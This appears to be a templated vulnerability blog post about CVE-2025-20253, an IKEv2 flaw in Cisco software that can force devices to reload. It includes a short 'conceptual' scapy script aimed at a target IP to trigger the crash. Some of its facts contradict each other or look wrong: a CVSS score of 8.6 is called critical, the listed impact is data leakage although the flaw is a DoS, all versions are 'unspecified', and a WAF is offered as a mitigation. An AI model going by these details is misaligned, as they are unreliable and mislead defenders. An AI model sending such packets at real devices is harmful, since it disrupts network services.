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CVE-2025-20253: Critical Vulnerability in IKEv2 Feature of Cisco Software Could Lead to Denial of Service (DoS) Attack

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Overview

In the evolving landscape of cybersecurity, it is essential to stay updated with the latest vulnerabilities that could potentially put systems and data at risk. This blog post focuses on CVE-2025-20253, a recently disclosed vulnerability in the Internet Key Exchange version 2 (IKEv2) feature of several Cisco software products. This vulnerability, if exploited, could allow an unauthenticated, remote attacker to cause a device to reload, resulting in a Denial of Service (DoS) condition. Given the wide usage of Cisco’s software in industries across the globe, this vulnerability presents a significant risk and could potentially disrupt critical services and operations.

Vulnerability Summary

CVE ID: CVE-2025-20253
Severity: Critical (CVSS Score: 8.6)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and/or data leakage

Affected Products

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Product | Affected Versions

Cisco IOS Software | Unspecified
Cisco IOS XE Software | Unspecified
Secure Firewall ASA Software | Unspecified
Secure FTD Software | Unspecified

How the Exploit Works

The vulnerability arises due to the improper processing of IKEv2 packets by the affected software. An attacker could exploit this vulnerability by sending specially crafted IKEv2 packets to an affected device. Upon receipt of these packets, the system could enter into an infinite loop, rapidly exhausting system resources. This would eventually lead to a system reboot, effectively causing a Denial of Service.

Conceptual Example Code

Here is a conceptual example of how an attacker might craft a malicious IKEv2 packet to exploit this vulnerability. Please note that this is a hypothetical example and does not represent actual exploit code.

from scapy.all import *
# Define the source and destination IP addresses
src_ip = "attacker_IP"
dst_ip = "target_IP"
# Create an IP packet with the defined source and destination IPs
ip = IP(src=src_ip, dst=dst_ip)
# Create a malformed IKEv2 packet
ikev2 = IKEv2(init_SPI=b'1234567890123456', exch_type=34, flags='Response')
# Send the crafted packet
send(ip/UDP(sport=500, dport=500)/ikev2)

In this example, the `exch_type=34` and `flags=’Response’` parameters are used to create a malformed IKEv2 packet, triggering the vulnerability and causing a system reload.
It is crucial to note that this vulnerability can be mitigated by applying vendor patches or using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary solution. As always, it’s recommended to apply patches promptly to ensure protection against such exploits.

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.

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